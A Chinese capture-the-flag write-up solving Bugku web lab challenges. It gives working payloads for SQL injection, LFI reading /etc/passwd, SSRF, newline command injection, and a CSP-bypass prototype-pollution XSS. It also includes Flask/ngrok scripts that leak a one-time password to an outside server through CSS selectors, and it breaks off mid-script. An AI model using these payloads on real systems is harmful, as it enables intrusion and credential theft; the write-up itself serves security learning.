欢迎光临
我们一直在努力

Bugku靶场web练习

前言

看书之后动手实操了一下,持续更新。

inspect-me

直接F12,即可看到flag

my-first-sqli

已经知道查询语句,让登录语句恒定为真' or 1=1–或者'or 1=1#,此处#号和–号都是起到注释作用。

post-the-get

直接抓包,将GET方法改为POST即可

sqli-0x1

直接用'or 1=1–'回显:why u bully me

在首页查看源码发现注释:

<!– <a href="/?pls_help">get some help</a> –>

访问/?pls_help得到:

<?php
error_reporting(0);
error_log(0);

require_once("flag.php");

function is_trying_to_hak_me($str)
{  
   $blacklist = ["' ", " '", '"', "`", " `", "` ", ">", "<"];
   if (strpos($str, "'") !== false) {
       if (!preg_match("/[0-9a-zA-Z]'[0-9a-zA-Z]/", $str)) {
           return true;
      }
  }
   foreach ($blacklist as $token) {
       if (strpos($str, $token) !== false) return true;
  }
   return false;
}

if (isset($_GET["pls_help"])) {
   highlight_file(__FILE__);
   exit;
}
 
if (isset($_POST["user"]) && isset($_POST["pass"]) && (!empty($_POST["user"])) && (!empty($_POST["pass"]))) {
   $user = $_POST["user"];
   $pass = $_POST["pass"];
   if (is_trying_to_hak_me($user)) {
       die("why u bully me");
  }

   $db = new SQLite3("/var/db.sqlite");
   $result = $db->query("SELECT * FROM users WHERE username='$user'");
   if ($result === false) die("pls dont break me");
   else $result = $result->fetchArray();

   if ($result) {
       $split = explode('$', $result["password"]);
       $password_hash = $split[0];
       $salt = $split[1];
       if ($password_hash === hash("sha256", $pass.$salt)) $logged_in = true;
       else $err = "Wrong password";
  }
   else $err = "No such user";
}
?>

<!DOCTYPE html>
<html>
<head>
   <title>Hack.INI 9th – SQLi</title>
</head>
<body>
   <?php if (isset($logged_in) && $logged_in): ?>
   <p>Welcome back admin! Have a flag: <?=htmlspecialchars($flag);?><p>
   <?php else: ?>
   <form method="post">
       <input type="text" placeholder="Username" name="user" required>
       <input type="password" placeholder="Password" name="pass" required>
       <button type="submit">Login</button>
       <br><br>
       <?php if (isset($err)) echo $err; ?>
   </form>
   <?php endif; ?>
   <!– <a href="/?pls_help">get some help</a> –>
</body>
</html>

可以看到过滤了:

'
'
"
`
`
<
>

来审计一下过滤函数,审计结果以注释的形式:

function is_trying_to_hak_me($str)
{  
   $blacklist = ["' ", " '", '"', "`", " `", "` ", ">", "<"]; #定义过滤的字符
   if (strpos($str, "'") !== false) {
#检测这里传入的str参数是否包含',然后包含',就会再次检测是否是字符'字符的形式,如a'b,是被允许的
       if (!preg_match("/[0-9a-zA-Z]'[0-9a-zA-Z]/", $str)) {
          return true;
      }
  }
  foreach ($blacklist as $token) { #挨个检测str里面的字符是否包含关键字符,进行过滤。
       if (strpos($str, $token) !== false) return true;
  }
  return false;
}

再看看之后的部分:

if (isset($_POST["user"]) && isset($_POST["pass"]) && (!empty($_POST["user"])) && (!empty($_POST["pass"]))) { #user 和pass字段都不能为空
   $user = $_POST["user"];
   $pass = $_POST["pass"];
   if (is_trying_to_hak_me($user)) { #关键词检测
       die("why u bully me");#若出现关键词就过滤,返回why u bully me
  }

   $db = new SQLite3("/var/db.sqlite"); #打开数据库
   $result = $db->query("SELECT * FROM users WHERE username='$user'");#查询
   if ($result === false) die("pls dont break me");#查询语句出错则返回pls dont break me
   else $result = $result->fetchArray(); #

   if ($result) {
       $split = explode('$', $result["password"]); #以$符号为分割标志来分割$result["password"]里面的内容。
       $password_hash = $split[0];#截取以$符号分割的第一个结果
       $salt = $split[1];
       if ($password_hash === hash("sha256", $pass.$salt)) $logged_in = true;
       #直接加密传入的pass,然后与数据库拉取的用户hash密码进行比较
       else $err = "Wrong password";
  }
   else $err = "No such user";
}

审计完后,我们可以开始构造,思路就是再user字段同时传入我们自定义的密码的sha256加密的hash,但是语句是什么,以及为什么可以这样做?

在 SQL 注入中,UNION SELECT 可以构造一行新的查询结果,并将其并入当前语句的结果集中。即使原本的用户名查询不到记录,只要最终结果集中存在我们伪造的这一行,后端在调用 fetchArray() 时仍然可以取到该行数据,并继续执行后续的密码校验逻辑。

原代码中,查询到用户后会对 password 字段做如下处理:

$split = explode('$', $result["password"]);
$password_hash = $split[0];
$salt = $split[1];
if ($password_hash === hash("sha256", $pass.$salt)) $logged_in = true;

可以看出,数据库中的 password 字段格式并不是明文密码,而是:

hash$salt

其中:

  • $split[0] 是密码哈希值

  • $split[1] 是盐值(源码自定义的)

后端登录时,会将我们提交的 pass 与数据库中的 salt 拼接,再做一次 sha256 计算。如果结果与数据库中保存的 hash 相同,就会登录成功。

因此,利用思路就是:

  • 自己选定一个明文密码,例如 tian

  • 自己选定一个盐,例如 zy

  • 计算:

  • sha256("tianzy")

    得到:

    370447440e696531ad8b1c21858fa2f40ad7a28336ecc0ecfa8a76f455da6689

    那么我们希望伪造出来的 password 字段就是:

    370447440e696531ad8b1c21858fa2f40ad7a28336ecc0ecfa8a76f455da6689$zy

    这样一来,当我们在登录界面的 pass 中输入 tian 时,后端会执行:

    hash("sha256", "tian"."zy")

    也就是计算:

    sha256("tianzy")

    计算结果恰好与我们伪造的 password_hash 一致,因此条件成立,$logged_in 被置为 true。

    也就是说,这道题的关键不只是 SQL 注入本身,而是通过注入伪造查询结果中的 password 字段,让后端按照我们的预期完成哈希校验。

    SELECT * FROM users WHERE username='不存在的值'
    UNION
    SELECT

    所以最终payload:

    user=admin'union%09select%091,'370447440e696531ad8b1c21858fa2f40ad7a28336ecc0ecfa8a76f455da6689$zy'–&pass=tian

    union select 1,…..

    当中的1只是占位作用,%09是空格的url编码。–符号代表注释符号。

    baby lfi

    存在HINT : use the language parameter 🙂

    猜测language是接受文件地址的变量名,?language=/etc/passwd即可得到Flag

    baby lfi 2

    Rules

    • include some critical file why not /etc/passwd


    Challenge

    Please Select a language of your choice : en/fr

    HINT : Approved Paths, there is a directory, I wont tell you what's stocked in it ? ;)languages

    和第一题一样,使用language来接受目录,不能直接访问/etc/passwd,或许可以试试路径穿越

    仔细研究HINT:

    已批准路径,有一个目录,但我不会告诉你里面存放了什么 ;)languages

    按照提示来理解就是:如果程序的检查要求你必须带上 languages,那你就先把 languages 放进路径里,再从那里用 ../ 逃出去。

    之所以要先写 languages 再做路径穿越,不是因为文件系统要求必须这样,而是因为程序大概率只允许“看起来在 approved 目录里的路径”,所以要先骗过它的检查,再靠 ../ 在实际解析时逃出该目录。

    最后payload:

    ?language=./languages/../../../../../etc/passwd

    challenge-creator

    开启容器之后,发现生成挑战会自动生成json数据

    意味着可以尝试跨站脚本攻击(XSS),尝试最基本的<script>alert('1')</script>

    可以看到<script>和</script>标签被自动替换成为狗头表情了,所以识别到应该是存在内容保护系统,即内容安全策略(CSP)防护XSS攻击。

    查看网页源码,发现js源码(<!– TODO: Remove this script –>)

    <!– TODO: Remove this script –>
       <script nonce="5oA7MKcg28QQeFnW759n1w==">
         let challenge, jsonCodeOutput;

         challenge = JSON.parse(
           new URL(window.location.href).searchParams.get("challenge")
        );

         console.log("challenge:", challenge);

         jsonCodeOutput = {};
       </script>

       <script nonce="5oA7MKcg28QQeFnW759n1w==">
         challenge = {
           name: "Name",
           category: "web",
           value: 100,
           meta: {
             version: "0.1",
          },
        };
         jsonCodeOutput = {
           tag: "code",
           attributes: {
             class: "block overflow-x-scroll rounded language-json",
          },
           id: "json-code-output",
        };

         console.log("default challenge:", challenge);
       </script>

       <script nonce="5oA7MKcg28QQeFnW759n1w==">
         const sitekey = "6LcxsckfAAAAAIngUXzlw931eegdBWErvFBPZ_K4";

         function outputChallenge(chal) {
           const jsonOutput = document.getElementById("json-output");
           const shareChallenge = document.getElementById("share-challenge");
           const containerOutput = document.getElementById("container-output");
           const value = JSON.stringify(chal, undefined, 2);
           const el = document.createElement(jsonCodeOutput.tag);

           el.textContent = value;
           el.id = jsonCodeOutput.id;
           for (const [attribute, val] of Object.entries(
             jsonCodeOutput.attributes
          )) {
             el.setAttribute(attribute, val);
          }
           hljs.highlightElement(el);
           jsonOutput.appendChild(el);

           shareChallenge.value = value;

           containerOutput.classList.remove("hidden");
        }
    # 上面的函数总体上是美化输出
         function parseChallenge() {
           let assignedVal,
             value,
             parsedChal = {},
             chal = null;

           try {
             chal =
               JSON.parse(
                 new URL(window.location.href).searchParams.get("challenge")
              ) || null;
          } catch (err) {
             console.error("Error:", err);
          }

           if (chal === null) {#如果没有拿到合法 challenge,就把输出区域隐藏起来,并清空内容,然后结束这个函数
             const containerOutput = document.getElementById("container-output");
             const jsonOutput = document.getElementById("json-output");

             containerOutput.classList.add("hidden");
             jsonOutput.innerHTML = "";
             return;
          }

           for (const [key, defaultValue] of Object.entries(challenge)) {
             value = chal[key];
             console.log("key:", key);
             console.log("defaultValue:", defaultValue);
             console.log("value:", value);
             if (typeof defaultValue === "number") {
               value = parseInt(value);
            }
             assignedVal = value || defaultValue;
             if (
               typeof assignedVal === "object" &&
               typeof defaultValue === "object"
            ) {
               if (parsedChal[key] === undefined) {
                 parsedChal[key] = {};
              }
               for (const [subKey, subDefaultValue] of Object.entries(
                 defaultValue
              )) {
                 let subValue =
                   chal[key] !== undefined ? chal[key][subKey] : subDefaultValue;
                 console.log("subkey:", subKey);
                 console.log("subDefaultValue:", subDefaultValue);
                 console.log("subValue:", subValue);
                 parsedChal[key][subKey] = subValue;
              }
            } else {
               parsedChal[key] = assignedVal;
            }
          }

           console.log("parsedChal:", parsedChal);
           outputChallenge(parsedChal);
        }

         function submitChallenge(event) {
           event.preventDefault();
           const formData = new FormData(this);
           const query =
             "challenge=" +
             encodeURIComponent(JSON.stringify(Object.fromEntries(formData)));
           window.location.href = `${window.location.origin}/?${query}`;
        }

         function loadCaptcha() {
           grecaptcha.render("captcha-div", {
             sitekey: sitekey,
          });
        }

         function updateHeight(el) {
           el.style.height = "";
           el.style.height = el.scrollHeight + 3 + "px";
        }

         window.onload = () => {
           const challengeForm = document.getElementById("challenge-form");
           const shareChallenge = document.getElementById("share-challenge");

           challengeForm.onsubmit = submitChallenge;

           parseChallenge();

           updateHeight(shareChallenge);
           shareChallenge.oninput = (event) => {
             updateHeight(shareChallenge);
          };

           loadCaptcha();
        };
       </script>
     </body>
    </html>

    这一整串代码只是处理了来自用户输入的challenge数据,进行解析,然后再次输出,实际在审计过程中,我们输入的XSS(<script>alert("1")</script>>)只是简单的被当作字符串并入网页,没有成为网页的一部分内容,所以这里没有触发XSS漏洞,更详细地说:页面加载后,从网址里读取 challenge 参数,把它解析成一个对象。

    但是尝试</title><h1>ddddd</h1><title>是能被正常映射的,即第一个</title>标签是闭合网页存在的<title>标签,最后的<title>标签是为了闭合网页的</title>,从截取的代码中可以看出:

    <script
     src="https://www.google.com/recaptcha/api.js?render=explicit"
     async
     defer
     nonce="dMxRGT9cLv5aDdwKvNV4oQ=="
    ></script>

    <title>
     Challenge: '</title><h1>ddddd</h1><title>'
    </title>

    到这里转化了一下思路,另一个有趣的部分是这一部分代码中易受原型污染攻击的函数: parseChallenge(),parsedChal[key][subKey] = subValue;

    原型污染是一种漏洞,攻击者可以改变对象的属性。一个典型的对象会从继承属性,因为几乎所有 JavaScript 对象都是 Object 的实例: Object.prototype

    所以接下来的思路就是污染原型链Object.prototype ,就是直接修改Object.prototype 的属性,让每一个对象都继承Object.prototype 的新添加属性,这样,可以利用js源码中创建标签的代码来执行XSS攻击(也就是插入我们的恶意代码到Object.prototype 的属性当中,让其他对象继承,映射在网页上。)

    但是有个问题,在:

    <script nonce="5oA7MKcg28QQeFnW759n1w==">
        let challenge, jsonCodeOutput;

        challenge = JSON.parse(
          new URL(window.location.href).searchParams.get("challenge")
        );

        console.log("challenge:", challenge);

        jsonCodeOutput = {};
      </script>

    这一串是解析我们自定义的json数据,jsonCodeOutput被设置为空,但是很快在下一部分变量challenge会被覆盖,即:

    <script nonce="5oA7MKcg28QQeFnW759n1w==">
         challenge = {
           name: "Name",
           category: "web",
           value: 100,
           meta: {
             version: "0.1",
          },
        };
         jsonCodeOutput = {
           tag: "code",
           attributes: {
             class: "block overflow-x-scroll rounded language-json",
          },
           id: "json-code-output",
        };

         console.log("default challenge:", challenge);
       </script>

    这里设置的默认模板覆盖了我们自己传入的参数,即challenge变量里面的对象直接被覆成预设值。所以我们要想办法让浏览器跳过这个部分的代码执行,这样我们就能修改原型链的属性,给XSS乘胜之机。

    所以,我们要修改CSP安全策略,这是一个修改的例子:

    </title><meta http-equiv="Content-Security-Policy" content="script-src 'self' 'unsafe-eval' 'strict-dynamic'"><title>

    通过注入这个 payload,我们在浏览器控制台中注意到各种与 CSP 相关的错误,这表明我们的策略被正确处理:

    从控制台当中我们也看到了暴露出这三段js的哈希值

    其中strict-dynamic的效果是

  • 只信任来自已经通过其他策略验证的脚本加载器(trusted script loaders)的脚本。这些脚本加载器是通过指定其他 CSP 指令(如 self、unsafe-inline、哈希值等)来明确允许加载和执行脚本的来源。

  • 所有其他来源的动态脚本(例如通过 document.createElement('script') 动态创建的脚本)将被阻止执行,即使它们在其他策略规则下是被允许的。

  • 即,我们只需要在csp中加上第一段和第三段的哈希值,就可使第二段不被执行,因为只有这两段通过了我们自己制定的csp策略,而这两段的哈希在上面就已经暴露了,所以加入后的payload如下:

    <meta
     http-equiv="Content-Security-Policy"
     content="script-src * 'sha256-eyVKju/vSji+klXiXwhgD7spFJI0/Kk10K2eq4a9NCU=' 'sha256-8+tX0RdD8rNbWDDLNb3z8ixoi28g7G5On2AwCBePR0Y=' "
    />

    我们最后利用来污染原型链的函数是:

    function outputChallenge(chal) {
           const jsonOutput = document.getElementById("json-output");
           const shareChallenge = document.getElementById("share-challenge");
           const containerOutput = document.getElementById("container-output");
           const value = JSON.stringify(chal, undefined, 2);
           const el = document.createElement(jsonCodeOutput.tag);

           el.textContent = value;
           el.id = jsonCodeOutput.id;
           for (const [attribute, val] of Object.entries(
             jsonCodeOutput.attributes
          )) {
             el.setAttribute(attribute, val);
          }
           hljs.highlightElement(el);
           jsonOutput.appendChild(el);

           shareChallenge.value = value;

           containerOutput.classList.remove("hidden");
        }

    为什么呢?

    正常情况下,前面的第二段脚本会把 jsonCodeOutput 设成:

    jsonCodeOutput = {
    tag: "code",
    attributes: {
      class: "block overflow-x-scroll rounded language-json",
    },
    id: "json-code-output",
    };

    所以正常执行时,这个函数其实是在做:

    创建一个 <code> 元素

    const el = document.createElement("code");

    把 JSON 文本放进去

    el.textContent = value;

    给它加 id

    el.id = "json-code-output";

    给它加 class

    el.setAttribute("class", "block overflow-x-scroll rounded language-json");

    插入页面

    jsonOutput.appendChild(el);

    所以正常情况下,页面里生成的是:

    <code id="json-code-output" class="block overflow-x-scroll rounded language-json">

    </code>

    这是安全的显示逻辑。

    但是,由于我们调整了CSP,让第二部分脚本不能执行,导致jsonOutput一直都是空。所以,会触发往上,往原型链寻找属性,刚好我们污染了原型链(即我们给原型链添加了这两个属性),所以jsonOutput也有了这个属性。所以我们给原型链添加的恶意属性也就被映射到了网页上,达成了XSS攻击。

    最后的paylaod

    {
     "name": "</title> <meta http-equiv='Content-Security-Policy' content=\\"script-src * 'sha256-eyVKju/vSji+klXiXwhgD7spFJI0/Kk10K2eq4a9NCU=' 'sha256-8+tX0RdD8rNbWDDLNb3z8ixoi28g7G5On2AwCBePR0Y=' \\"><title>",
     "category": "adss",
     "value": "111",
     "__proto__": {
       "tag": "script",
       "attributes": {
         "src": "你的可以接受数据的网址",
         "id": "tianzy"
      }
    }
    }

    注意,sha-256哈希值要根据实际来替换,这道题的环境已经坏了。

    考察点:

    本题综合考察了 title 场景下的 HTML 注入、CSP 注入与 hash 白名单理解、客户端原型链污染、DOM sink 分析,以及多漏洞链式构造 XSS 的能力。

    lfi

    任意文件读取,?language=/etc/passwd即可

    nextGen 1

    抓包发现POST请求:

    POST的body是service=http://hr.dep.nextgen.org/overview,猜测就是有SSRF

    修改链接,利用file协议读取文件即可,考察简单的SSRF。

    nextGen 2

    直接抓包,然后直接用file协议回显没有,我们现在添加了一些过滤器。得知后端过滤了

    尝试大写也不行,尝试文件穿越也不行。

    尝试:service=file:///127.0.0.01/flag.txt 还是被过滤了,这边考虑变换127.0.0.1:

    十进制(2130706433)
    八进制(017700000001)
    十六进制(0x7F000001)

    转为8进制即可读取flag,其他进制也可以

    给个转换脚本:

    #!/usr/bin/env python3
    # -*- coding: utf-8 -*-

    def ipv4_to_int(ip: str) -> int:
    parts = ip.strip().split(".")
    if len(parts) != 4:
    raise ValueError("IPv4 地址格式错误,应为 x.x.x.x")

    nums = []
    for p in parts:
    if not p.isdigit():
    raise ValueError(f"存在非法字段: {p}")
    n = int(p)
    if not (0 <= n <= 255):
    raise ValueError(f"字段超出范围 0-255: {p}")
    nums.append(n)

    return (nums[0] << 24) | (nums[1] << 16) | (nums[2] << 8) | nums[3]

    def int_to_ipv4(value: int) -> str:
    if not (0 <= value <= 0xFFFFFFFF):
    raise ValueError("整数必须在 0 到 4294967295 之间")

    return ".".join([
    str((value >> 24) & 0xFF),
    str((value >> 16) & 0xFF),
    str((value >> 8) & 0xFF),
    str(value & 0xFF),
    ])

    def ipv4_to_formats(ip: str) -> dict:
    value = ipv4_to_int(ip)
    a, b, c, d = map(int, ip.split("."))

    return {
    "ip": ip,
    "decimal": str(value),
    "octal": f"0{a:03o}{b:03o}{c:03o}{d:03o}",
    "hex": f"0x{a:02X}{b:02X}{c:02X}{d:02X}",
    }

    def main():
    print("1. IPv4 -> 十进制 / 八进制 / 十六进制")
    print("2. 十进制整数 -> IPv4")
    choice = input("请选择功能 (1/2): ").strip()

    try:
    if choice == "1":
    ip = input("请输入 IPv4 地址: ").strip()
    result = ipv4_to_formats(ip)

    print("\\n转换结果:")
    print(f"原始 IP : {result['ip']}")
    print(f"十进制 : {result['decimal']}")
    print(f"八进制 : {result['octal']}")
    print(f"十六进制 : {result['hex']}")

    elif choice == "2":
    value = int(input("请输入 32 位十进制整数: ").strip())
    ip = int_to_ipv4(value)

    print("\\n转换结果:")
    print(f"十进制整数 : {value}")
    print(f"IPv4 : {ip}")

    else:
    print("无效选择,请输入 1 或 2")

    except Exception as e:
    print(f"错误: {e}")

    if __name__ == "__main__":
    main()

    Whois

    是一个查询域名信息的web应用,不带人后后缀,即直接/query.php即可读取源码:

    <?php

    error_reporting(0);

    $output = null;
    $host_regex = "/^[0-9a-zA-Z][0-9a-zA-Z\\.-]+$/";
    $query_regex = "/^[0-9a-zA-Z\\. ]+$/";


    if (isset($_GET['query']) && isset($_GET['host']) &&
         is_string($_GET['query']) && is_string($_GET['host'])) {

     $query = $_GET['query'];
     $host = $_GET['host'];
     
     if ( !preg_match($host_regex, $host) || !preg_match($query_regex, $query) ) {
       $output = "Invalid query or whois host";
    } else {
       $output = shell_exec("/usr/bin/whois -h ${host} ${query}");
    }

    }
    else {
     highlight_file(__FILE__);
     exit;
    }

    ?>

    <!DOCTYPE html>
    <html>
     <head>
       <title>Whois</title>
     </head>
     <body>
       <pre><?= htmlspecialchars($output) ?></pre>
     </body>
    </html>

    $output = shell_exec("/usr/bin/whois -h ${host} ${query}");这里出现危险函数,意味着可以进行攻击,控制输入的字符,想办法让shell_exec接触到。

    可以在host后面加上换行符,这样命令就会被分成两个部分,%0a是换行符的url编码。

    GET /query.php?host=whois.verisign-grs.com%0a&query=ls

    得到回显,然后尝试

    GET /query.php?host=whois.verisign-grs.com%0a&query=cat thisistheflagwithrandomstuffthatyouwontguessJUSTCATME

    没有回显,于是考虑加入空格的另外形式+

    GET /query.php?host=whois.verisign-grs.com%0a&query=cat+thisistheflagwithrandomstuffthatyouwontguessJUSTCATME

    最后成功解题。

    adversal

    打开网页提示:

    The web app of interest generates one time passwords for users. It lives at /otp
    The page can also display HTML for an advertisement, supplied by the '?ad=' query parameter
    Our admin bot will visit the OTP page with an advertisement on the page supplied by you
    You need to exfiltrate the OTP from the page. Note that the OTP is different every time the page is loaded.
    Good luck!

    所以,尝试?ad=<srcipt>alert(1)</srcipt>无果,证明这道题不是简单的反射形XSS,也不一定是XSS,而且抓包看到了安全策略组:

    Content-Security-Policy: script-src 'none'; #不允许外部脚本运行,禁止加载任何JavaScript脚本
    object-src 'none';  #禁止加载任何插件内容 <object> <embed> <applet>
    connect-src 'self'; #只允许内部或者同源的网址,只允许向同源网站发起请求(fetch xmlhttprequest websockt)

    所以,这里我们无法简单地进行XSS攻击,CSP 似乎只允许样式表和图像。请注意,由于没有指定 default-src 指令,这些资源可以来自任何来源。

    继续探索

    1.每一次进入/otp产生的Here is your one time password!都不一样

    2.Admin Bot部分

    Supply your advertisement. The admin bot will visit /otp?ad=your_ad

    随便输入字符会被跳转转到done.html,同时要求提交OTP,这是我们无法知晓的,同时页面显示提交正确的OTP就能获得Flag

    整理思路

    所以现在我们已经知道admin bot会访问/otp?ad=your_ad,只要我们能拿到admin bot 的Here is your one time password!就能完成解题。

    所以我要想办法找到admin bot 的passwd,由于安全策略,我们只能通过在styless标签插入链接和图片链接注入帮助我们实现读取passwd。

    给/otp传参,是可以嵌入网页作为属性来映射的,若访问/otp?ad=<link rel="stylesheet" href="https://…ngrok.com/style/0">

    查看网页源码,可以看到:

    <div class="column four wide">
          <div id="ad">
              <div style="display: inline-block;">
                  <link rel="stylesheet" href="https://…ngrok.com/style/0">
              </div>
          </div>

    链接已经成为网页的一部分。

    构造攻击

    具体的攻击流程是,服务器读取<link rel="stylesheet" href="https://…ngrok.com/style/0">当中的链接,发送请求,我们在后端的链接里设置读取value的值,但是为什么可以这样做?

    /opt 里面显示的passwd不是的标签不是内容,是储存在value里面的,就是:

    input id="otp" name="otp" type="text" value="75KMZ3BufQuQ" disabled />
      </div>

    我们仍然需要一个方法来实际从页面上读取 OTP。一个关键的观察是,OTP 存储在一个元素的 value 属性中,而不是其文本内容中。通过阅读关于 CSS 选择器( https://www.w3schools.com/cssref/css_selectors.php)的信息,我们可以发现 CSS 实际上可以在某种程度上与元素属性进行交互。具体来说,你可以定义一个 CSS 规则,该规则仅当某个属性包含特定值时才将样式应用于元素。

    感兴趣的伪类选择器是 [attribute^=value] ,它匹配所有属性值以 value 开头的元素。因此,我们只能对一个以特定字符串开头的元素应用样式。我们甚至可以使用多个这样的选择器来确定 OTP 的第一个字符。例如

    input[value^="a"] {}
    input[value^="b"] {}

    input[value^="Z"] {}

    只有其中一个选择器会实际匹配,具体取决于 input 的 value 属性的第一个字符是什么!那么我们该如何确定哪个选择器匹配呢?我们可以让每个规则为具有指向我们服务器的 URL 且 URL 中包含匹配字符的元素定义一个 background-image !例如,我们可以构建 CSS

    input[type="text"][value^="a"] { background-image: url("https://…ngrok.com/capture/a") }
    input[type="text"][value^="b"] { background-image: url("https://…ngrok.com/capture/b") }

    input[type="text"][value^="Z"] { background-image: url("https://…ngrok.com/capture/Z") }

    加载图像时,浏览器会向包含首字符的相应 URL 发起请求。这使我们能够提取首字符。

    如果我们直接在/otp?ad=加上下面的一长串,我们就能收到服务器发回来的值。

    <style>
    input[type="text"][value^="a"] { background-image: url("https://…ngrok.com/capture/a") }
    input[type="text"][value^="b"] { background-image: url("https://…ngrok.com/capture/b") }
    input[type="text"][value^="c"] { background-image: url("https://…ngrok.com/capture/c") }
    input[type="text"][value^="d"] { background-image: url("https://…ngrok.com/capture/d") }
    input[type="text"][value^="e"] { background-image: url("https://…ngrok.com/capture/e") }
    input[type="text"][value^="f"] { background-image: url("https://…ngrok.com/capture/f") }
    input[type="text"][value^="g"] { background-image: url("https://…ngrok.com/capture/g") }
    input[type="text"][value^="h"] { background-image: url("https://…ngrok.com/capture/h") }
    input[type="text"][value^="i"] { background-image: url("https://…ngrok.com/capture/i") }
    …………………
    …………………
    input[type="text"][value^="A"] { background-image: url("https://…ngrok.com/capture/A") }
    input[type="text"][value^="B"] { background-image: url("https://…ngrok.com/capture/B") }
    input[type="text"][value^="C"] { background-image: url("https://…ngrok.com/capture/C") }
    input[type="text"][value^="D"] { background-image: url("https://…ngrok.com/capture/B") }
    input[type="text"][value^="E"] { background-image: url("https://…ngrok.com/capture/D") }
    input[type="text"][value^="F"] { background-image: url("https://…ngrok.com/capture/E") }
    input[type="text"][value^="G"] { background-image: url("https://…ngrok.com/capture/F") }
    input[type="text"][value^="H"] { background-image: url("https://…ngrok.com/capture/G") }
    ……………..
    </style>

    但是只得到了第一个字符,但是,我们还想继续猜测下一个字符,那么现在就要依次获取其它值,可浏览器只会一次性加载所有css,导致我们无法一次性获得passwd,切所以我们需要换成从链接获取css的方法

    <link rel="stylesheet" href="https://yourip/style/0">
    <link rel="stylesheet" href="https://yourip/style/1">
    ……………
    <link rel="stylesheet" href="https://yourip/style/10">
    <link rel="stylesheet" href="https://yourip/style/11">

    要攻击的服务器会先访问/style/0,加载我们猜测第一个字符的style的部分,得到第一个字符,之后服务器加载/style/1的style,这时我们带入第一个猜到的字符,(假设第一次猜测到的字符是b)即input[value^="ba"] { background-image: url("https://…ngrok.com/capture/ba") }然后继续猜测(从a-Z),假设第二个字符是s,那么加载/style/2时,应该是:input[value^="bsa"] { background-image: url("https://…ngrok.com/capture/bsa") }

    浏览器会同时加载前7个style/0 style/1 …/style/7,之后就在等待数据包,可我们的逻辑要等style/0里的capture触发之后,才会返回style/1的值幸运的是,http2.0支持多路复用,运行浏览器并发请求服务器,并接受以任意顺序返回。这就解决了只能发送7个包的问题。为了让浏览器接受http2.0必须使用https

    使用https://ngrok.com/提供免费的https和2.0

    之后我们写一个多线程脚本即可,建议自己手动写才能学习到东西,当然手动抄一边脚本,加深理解也可以。

    我这里提供参考脚本:

    rom flask import Flask, Response
    import string
    from threading import Condition, Thread
    import requests
    from pyngrok import ngrok

    target_url = "http://49.232.142.230:11725"
    passwd_num = 12
    PORT = 8000 #flask监听端口

    ngrok.set_auth_token("   ") #设置ngrok认证token,注意不要把token硬编码在代码里,最好从环境变量里读取
    tunnel = ngrok.connect(PORT, 'http', bind_tls=True) #设置ngrok隧道

    #创建flask app
    app = Flask(__name__)

    passwd_num = 12 #passwd长度

    public_url = tunnel.public_url #获取公网地址
    print(f"Public_URL: {public_url}")

    class curr_stage:
       stage = 0
       data = ''

    condition = Condition() #条件变量

    #生成payload
    def generate_payload():
       #<link rel="stylesheet" href="https://yourip/style/0">
       return ''.join(f'<link+rel="stylesheet"+href="{public_url}/style/{i}">'for i in range(passwd_num +1))

    #生成每一条stylesheet
    def make_style_line(c):
       #input[type="text"][value^="a"] { background-image: url("https://…ngrok.com/capture/a") }
       data = curr_stage.data
       return f'input[type="text"][value^="{data + c}"] {{ background-image: url("{public_url}/capture/{data +c}"); }}'
      # f'input[type="text"][value^="{data + c}"] {{ background-image: url("{ENDPOINT}/capture/{data + c}"); }}'

    #生成stylesheet
    def generate_stylesheet():
        charset = string.ascii_letters + string.digits
        return '\\r\\n'.join(map(make_style_line,charset))


    #创建/capture/<data>路由
    @app.route('/capture/<data>')
    def capture(data):
       curr_stage.data = data
       curr_stage.stage += 1
       with condition:
           condition.notify_all()
       return ''


    #创建/style/<stage>路由
    @app.route('/style/<stage>')
    def style(stage):
       with condition:
           condition.wait_for(lambda: curr_stage.stage == int(stage))

       return Response(generate_stylesheet(), mimetype='text/css')

    # Flask服务器主函数
    if __name__ == '__main__':  
       payload = generate_payload()

       thread = Thread(target=lambda: app.run(port=PORT, debug=True, use_reloader=False))
       thread.daemon = True
       thread.start()

       session = requests.Session()
       session.get(f'{target_url}/visit?ad={payload}')

       res = session.get(f'{target_url}/flag?otp={curr_stage.data}')

       if 'wctf{' in res.text:
           print(res.text)
           exit(0)
       else:
           exit(1)

    这是新手友好版本脚本,设置了很多debug的地方:

    from flask import Flask, Response
    import string
    import os
    import time
    from threading import Condition, Thread
    import requests
    from requests.exceptions import RequestException
    from pyngrok import ngrok

    # =========================
    # 基本配置
    # =========================

    # 题目地址。这里用 rstrip("/") 去掉末尾的 /,避免后面再拼路径时出现双斜杠 //
    target_url = "http://49.232.142.230:15435".rstrip("/")

    # 目标密码/OTP 长度
    passwd_num = 12

    # 本地 Flask 监听端口
    PORT = 8000

    # 单次 HTTP 请求超时时间,避免程序无提示地一直卡住
    HTTP_TIMEOUT = 15

    # 等待远端把 12 位数据全部带回来的总超时
    OVERALL_WAIT_TIMEOUT = 120

    # /style/<stage> 路由内部等待当前阶段命中的最长时间
    STYLE_WAIT_TIMEOUT = 120


    # =========================
    # ngrok 配置
    # =========================

    # 不要把 authtoken 硬编码进代码里。
    # 你应该先在系统环境变量里设置 NGROK_AUTHTOKEN,然后在这里读取。

    ngrok_token = " "

    ngrok.set_auth_token(ngrok_token)

    # 创建 ngrok 隧道,把公网流量转发到本地 Flask 的 8000 端口
    tunnel = ngrok.connect(PORT, "http", bind_tls=True)
    public_url = tunnel.public_url

    print(f"[DEBUG] Public URL: {public_url}", flush=True)


    # =========================
    # Flask app 和共享状态
    # =========================

    app = Flask(__name__)

    # 用一个类来保存当前爆破进度
    class curr_stage:
       # 当前进行到第几轮
       stage = 0
       # 当前已经拿到的前缀
       data = ""

    # 条件变量,用来控制 /style/<stage> 按阶段顺序返回 CSS
    condition = Condition()


    # =========================
    # 构造 payload
    # =========================

    def generate_payload():
       """
      生成注入到题目页面中的 payload。
      这个 payload 会一次性插入多张外链样式表:

          <link rel="stylesheet" href="https://你的公网地址/style/0">
          <link rel="stylesheet" href="https://你的公网地址/style/1">
          …

      注意:
      1. 这里必须是 /style/,不是 /stly/
      2. 之所以 range(passwd_num + 1),是为了把后续阶段的样式表也一并埋进去
      """
       payload = ''.join(
           f'<link+rel="stylesheet"+href="{public_url}/style/{i}">'
           for i in range(passwd_num + 1)
      )
       return payload


    # =========================
    # 生成 CSS
    # =========================

    def make_style_line(c):
       """
      生成单条 CSS 规则。

      例如当 curr_stage.data == "ab",c == "c" 时,返回:
          input[type="text"][value^="abc"] {
              background-image: url("https://…/capture/abc");
          }

      浏览器一旦匹配到这一条规则,就会请求 /capture/abc,
